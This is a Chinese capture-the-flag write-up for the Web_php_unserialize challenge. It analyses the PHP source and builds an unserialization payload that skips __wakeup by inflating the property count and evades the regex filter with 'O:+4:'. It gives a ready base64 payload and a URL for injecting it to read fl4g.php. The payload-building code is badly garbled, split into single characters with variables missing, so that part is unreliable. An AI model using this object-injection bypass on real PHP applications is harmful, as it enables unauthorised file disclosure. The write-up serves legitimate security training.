攻防世界-Web_php_unserialize
分析php代码
<?php class Demo { private $file = 'index.php'; //构造函数 public function __construct($file) { $this->file = $file; } //析构函数 function __destruct() { //打开指定文件,并高亮文件中内容,第二个为return参数,为true,函数将返回高亮显示的代码字符串,而不是直接输出到浏览器。 echo @highlight_file($this->file, true); } //wakeup魔法函数,在反序列化之前调用。 function __wakeup() { if ($this->file != 'index.php') { //提示秘密藏在fl4g.php文件中 //the secret is in the fl4g.php $this->file = 'index.php'; } } } //判断语句,isset()检测是否有内容 //$_GET('var')获取name为var的内容 if (isset($_GET['var'])) { //base64解码 $var = base64_decode($_GET['var']); //检测字符串是否有与之匹配的内容。 if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { //反序列化 @unserialize($var); } } else { //高亮打开文件 highlight_file("index.php"); } ?>
分析完,发现需要解决两个问题:
- 绕过字符串检测
- 绕过wakeup函数
构造payload
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }
$a=new Demo(‘fl4g.php’);
//序列化
b
=
s
e
r
i
a
l
i
z
e
(
b=serialize(
b=serialize(a);
//将对象的属性个数改为大于实际数,substr_replace(字符串,要替换进去的字符,开始位置,替换的字符数目)。
v
=
s
u
b
s
t
r
r
e
p
l
a
c
e
(
v=substr_replace(
v=substrreplace(b,‘2’,11,1);
//在O:4:的4前加个‘+’,绕过字符串检测。
v
=
s
t
r
r
e
p
l
a
c
e
(
′
:
4
:
′
,
′
:
+
4
:
′
,
v=str_replace(':4:',':+4:',
v=strreplace(′:4:′,′:+4:′,v);
//base64编码
c
=
b
a
s
e
6
4
e
n
c
o
d
e
(
c=base64_encode(
c=base64encode(v);
echo $c;
?>
构造完毕得到相应的payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 以GET方式,将payload放在var变量中注入 如:http://url/index.php/?var=payload 随后进入fl4g.php的到flag